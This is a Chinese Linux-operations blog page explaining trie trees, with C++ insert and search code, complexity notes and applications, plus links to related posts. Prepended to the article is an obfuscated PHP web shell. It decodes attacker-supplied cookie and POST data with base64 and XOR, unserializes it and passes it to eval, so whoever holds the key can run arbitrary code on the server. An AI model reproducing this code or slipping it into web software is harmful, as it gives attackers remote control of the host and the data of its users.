$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Trie树:应用于统计和排序 | Linux运维部落

Trie树:应用于统计和排序

1. 什么是trie树

1.Trie树 (特例结构树)  

      Trie树,又称单词查找树、字典树,是一种树形结构,是一种哈希树的变种,是一种用于快速检索的多叉树结构。典型应用是用于统计和排序大量的字符串(但不仅限于字符串),所以经常被搜索引擎系统用于文本词频统计。它的优点是:最大限度地减少无谓的字符串比较,查询效率比哈希表高。

     Trie的核心思想是空间换时间。利用字符串的公共前缀来降低查询时间的开销以达到提高效率的目的。

     Trie树也有它的缺点,Trie树的内存消耗非常大.当然,或许用左儿子右兄弟的方法建树的话,可能会好点.

2.  三个基本特性:  

1)根节点不包含字符,除根节点外每一个节点都只包含一个字符。  

2)从根节点到某一节点,路径上经过的字符连接起来,为该节点对应的字符串。 

3)每个节点的所有子节点包含的字符都不相同。

3 .例子

       和二叉查找树不同,在trie树中,每个结点上并非存储一个元素。
       trie树把要查找的关键词看作一个字符序列。并根据构成关键词字符的先后顺序构造用于检索的树结构。
       在trie树上进行检索类似于查阅英语词典。

      一棵m度的trie树或者为空,或者由m棵m度的trie树构成。

     例如,电子英文词典,为了方便用户快速检索英语单词,可以建立一棵trie树。例如词典由下面的单词成:a、b、c、aa、ab、ac、ba、ca、aba、abc、baa、bab、bac、cab、abba、baba、caba、abaca、caaba

1.png

           再举一个例子。给出一组单词,inn, int, at, age, adv, ant, 我们可以得到下面的Trie:

        2.gif

        可以看出:

  • 每条边对应一个字母。

  • 每个节点对应一项前缀。叶节点对应最长前缀,即单词本身。

  • 单词inn与单词int有共同的前缀“in”, 因此他们共享左边的一条分支,root->i->in。同理,ate, age, adv, 和ant共享前缀"a",所以他们共享从根节点到节点"a"的边。

查询操纵非常简单。比如要查找int,顺着路径i -> in -> int就找到了。

 2. trie树的实现

1.插入过程

对于一个单词,从根开始,沿着单词的各个字母所对应的树中的节点分支向下走,直到单词遍历完,将最后的节点标记为红色,表示该单词已插入trie树。

2. 查找过程

其方法为:

(1) 从根结点开始一次搜索;

(2) 取得要查找关键词的第一个字母,并根据该字母选择对应的子树并转到该子树继续进行检索;

(3) 在相应的子树上,取得要查找关键词的第二个字母,并进一步选择对应的子树进行检索。

(4) 迭代过程……

(5) 在某个结点处,关键词的所有字母已被取出,则读取附在该结点上的信息,即完成查找。其他操作类似处理.

       即从根开始按照单词的字母顺序向下遍历trie树,一旦发现某个节点标记不存在或者单词遍历完成而最后的节点未标记为红色,则表示该单词不存在,若最后的节点标记为红色,表示该单词存在。如下图中:trie树中存在的就是abc、d、da、dda四个单词。在实际的问题中可以将标记颜色的标志位改为数量count等其他符合题目要求的变量。  

      3.jpg

代码:

// stdafx.h : include file for standard system include files,  
// or project specific include files that are used frequently, but  
// are changed infrequently  
//  
  
#pragma once  
  
#include <stdio.h>    
#include "stdlib.h"  
#include <iostream>  
#include <string.h>  
using namespace std;  
  
//宏定义      
#define TRUE   1      
#define FALSE   0     
#define NULL 0  
#define OK    1      
#define ERROR   0    
#define INFEASIBLE -1      
#define OVERFLOW -2    
  
const int num_chars = 26;  
class Trie {  
public:  
    Trie();  
    Trie(Trie& tr);  
    virtual ~Trie();  
    int trie_search(const char* word, char* entry ) const;  
    int insert(const char* word, const char* entry);  
    int remove(const char* word, char* entry);  
protected:  
     struct Trie_node{  
           char* data; //若不为空,表示从root到此结点构成一个单词   
           Trie_node* branch[num_chars]; //分支   
           Trie_node(); //构造函数   
     };  
       
     Trie_node* root; //根结点(指针)   
  
};
// Test.cpp : Defines the entry point for the console application.    
//    
#include "stdafx.h"   
Trie::Trie_node::Trie_node() {  
    data = NULL;      
    for (int i=0; i<num_chars; ++i)   
        branch[i] = NULL;  
}  
Trie::Trie():root(NULL) {}  
Trie::~Trie(){}  
int Trie::trie_search(const char* word, char* entry ) const {    
    int position = 0;  //层数   
    char char_code;      
  
    Trie_node *location = root;  //从根结点开始   
    while( location!=NULL && *word!=0 ) {       
        if (*word >= 'A' && *word <= 'Z')   
            char_code = *word-'A';       
        else if (*word>='a' && *word<='z')   
            char_code = *word-'a';       
        else return 0;// 不合法的单词     
        //转入相应分支指针   
        location = location->branch[char_code];       
        position++;       
        word++;    
    }    
    //找到,获取数据,成功返回   
    if ( location != NULL && location->data != NULL ) {       
        strcpy(entry,location->data);       
        return 1;    
    }    
    else  return 0;// 不合法的单词  
}  
int Trie::insert(const char* word, const char* entry) {     
    int result = 1, position = 0;     
    if ( root == NULL ) root = new Trie_node;   //初始插入,根结点为空   
    char char_code;     
    Trie_node *location = root;   //从根结点开始   
    while( location!=NULL && *word!=0 ) {         
        if (*word>='A' && *word<='Z') char_code = *word-'A';         
        else if (*word>='a' && *word<='z') char_code = *word-'a';         
        else return 0;// 不合法的单词      
  
        //不存在此分支   
        if( location->branch[char_code] == NULL )              
            location->branch[char_code] = new Trie_node;    //创建空分支     
  
        //转入分支   
        location = location->branch[char_code];         
        position++;word++;   }     
    if (location->data != NULL) result = 0;//欲插入的单词已经存在      
    else {    //插入数据       
        location->data = new char[strlen(entry)+1];     //分配内存      
        strcpy(location->data, entry);    //给data赋值表明单词存在   
    }     
    return result;    
}  
int main(){     
    Trie t;     
    char entry[100];     
    t.insert("a", "DET");          
    t.insert("abacus","NOUN");     
    t.insert("abalone","NOUN");     
    t.insert("abandon","VERB");     
    t.insert("abandoned","ADJ");    
    t.insert("abashed","ADJ");     
    t.insert("abate","VERB");      
    t.insert("this", "PRON");     
    if (t.trie_search("this", entry))        
        cout<<"'this' was found. pos: "<<entry<<endl;     
    if (t.trie_search("abate", entry))        
        cout<<"'abate' is found. pos: "<<entry<<endl;     
    if (t.trie_search("baby", entry))        
        cout<<"'baby' is found. pos: "<<entry<<endl;     
    else        
        cout<<"'baby' does not exist at all!"<<endl;  
}

3. 查找分析

       在trie树中查找一个关键字的时间和树中包含的结点数无关,而取决于组成关键字的字符数。而二叉查找树的查找时间和树中的结点数有关O(log2n)。

       如果要查找的关键字可以分解成字符序列且不是很长,利用trie树查找速度优于二叉查找树。如:
       若关键字长度最大是5,则利用trie树,利用5次比较可以从26^5=11881376个可能的关键字中检索出指定的关键字。而利用二叉查找树至少要进行Trie树:应用于统计和排序次比较。

3. trie树的应用:

1. 字符串检索,词频统计,搜索引擎的热门查询

        事先将已知的一些字符串(字典)的有关信息保存到trie树里,查找另外一些未知字符串是否出现过或者出现频率。

        举例:

       1)有一个1G大小的一个文件,里面每一行是一个词,词的大小不超过16字节,内存限制大小是1M。返回频数最高的100个词。

       2)给出N 个单词组成的熟词表,以及一篇全用小写英文书写的文章,请你按最早出现的顺序写出所有不在熟词表中的生词。

       3)给出一个词典,其中的单词为不良单词。单词均为小写字母。再给出一段文本,文本的每一行也由小写字母构成。判断文本中是否含有任何不良单词。例如,若rob是不良单词,那么文本problem含有不良单词。

       4)1000万字符串,其中有些是重复的,需要把重复的全部去掉,保留没有重复的字符串

       5)寻找热门查询:搜索引擎会通过日志文件把用户每次检索使用的所有检索串都记录下来,每个查询串的长度为1-255字节。假设目前有一千万个记录,这些查询串的重复读比较高,虽然总数是1千万,但是如果去除重复和,不超过3百万个。一个查询串的重复度越高,说明查询它的用户越多,也就越热门。请你统计最热门的10个查询串,要求使用的内存不能超过1G。

2. 字符串最长公共前缀

       Trie树利用多个字符串的公共前缀来节省存储空间,反之,当我们把大量字符串存储到一棵trie树上时,我们可以快速得到某些字符串的公共前缀。举例:

      1) 给出N 个小写英文字母串,以及Q 个询问,即询问某两个串的最长公共前缀的长度是多少.  解决方案:

        首先对所有的串建立其对应的字母树。此时发现,对于两个串的最长公共前缀的长度即它们所在结点的公共祖先个数,于是,问题就转化为了离线  (Offline)的最近公共祖先(Least Common Ancestor,简称LCA)问题。

       而最近公共祖先问题同样是一个经典问题,可以用下面几种方法:

        1. 利用并查集(Disjoint Set),可以采用采用经典的Tarjan 算法;

        2. 求出字母树的欧拉序列(Euler Sequence )后,就可以转为经典的最小值查询(Range Minimum Query,简称RMQ)问题了;

3.  排序

       Trie树是一棵多叉树,只要先序遍历整棵树,输出相应的字符串便是按字典序排序的结果。

        举例: 给你N 个互不相同的仅由一个单词构成的英文名,让你将它们按字典序从小到大排序输出。

4 作为其他数据结构和算法的辅助结构

       如后缀树,AC自动机等。

转自:http://blog.csdn.net/hguisu/article/details/8131559

原创文章,作者:s19930811,如若转载,请注明出处:http://www.178linux.com/2714

(0)
上一篇 2015-04-08 16:07
下一篇 2015-04-08 16:08

相关推荐

  • 轻松实现源码打包安装[原创]

    通常我们在Linux/Unix下安装一平台时往往需要十几甚至更多安装包,这些源码包来源于网络、本地硬盘、移动设备。有时碰到网络不畅通或下载地址失效会带来很多麻烦,一个好方法便是将常用的软件包下载到本地硬盘存放。问题是久而久之连自己都不晓得哪些包才是适用的。现用makeself来实现自解压倒安装倒是一个很好的解决方案,下面以制作Func客户端安装包为例。 一、…

    Linux干货 2015-03-27
  • Linux Yum源的安装配置​‍

    Linux Yum源的安装配置     一、基本概念   Yum(全称为YellowdogUpdater,Modified)是一个在Fedora和RedHat以及SUSE、CentOS中的Shell前端软件包管理器。基于RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软件包…

    Linux干货 2015-05-11
  • CentOS启动流程及Shell脚本编程练习

    一、请详细描述CentOS系统的启动流程(详细到每个过程系统做了哪些事情) 第一步:POST加电自检 主要实现的功能是检测各个外围硬件设备是否存在而且能够正常运行起来,实现这一自检功能的是固化在主板上的ROM(主要代表为CMOS)芯片上的BIOS(Basic Input/Output System)程序。 第二步:Boot Sequence(选择启动设备以加…

    2017-11-26
  • 很认真的第十三周作业哦

    1、建立samba共享,共享目录为/data,要求:(描述完整的过程) mkdir /data #建立共享目录 1)共享名为shared,工作组为magedu vim /etc/samba/smb.conf 修改 workgroup = MYGROUP 为 workgroup = magedu 修改 passdb backend = tdbsam 为 pas…

    Linux干货 2017-03-27
  • bash变量和逻辑运行

    bash 特性及bash脚本编程初步       终端,附着在终端的接口程序:      GUI:KDE,GNome,Xfce      CLI: /etc/shells              b…

    Linux干货 2016-12-23
  • 系统启动流程与GRUB管理

    系统启动流程: POST–>读取BootSequence(BIOS),决定引导次序–>读取引导设备的Bootloader(MBR grubstage1–>stage1.5/boot/filkeststem)–>boot–>/boot/grub.conf–>磁盘分区读取 kernel(ramd…

    Linux干货 2016-09-13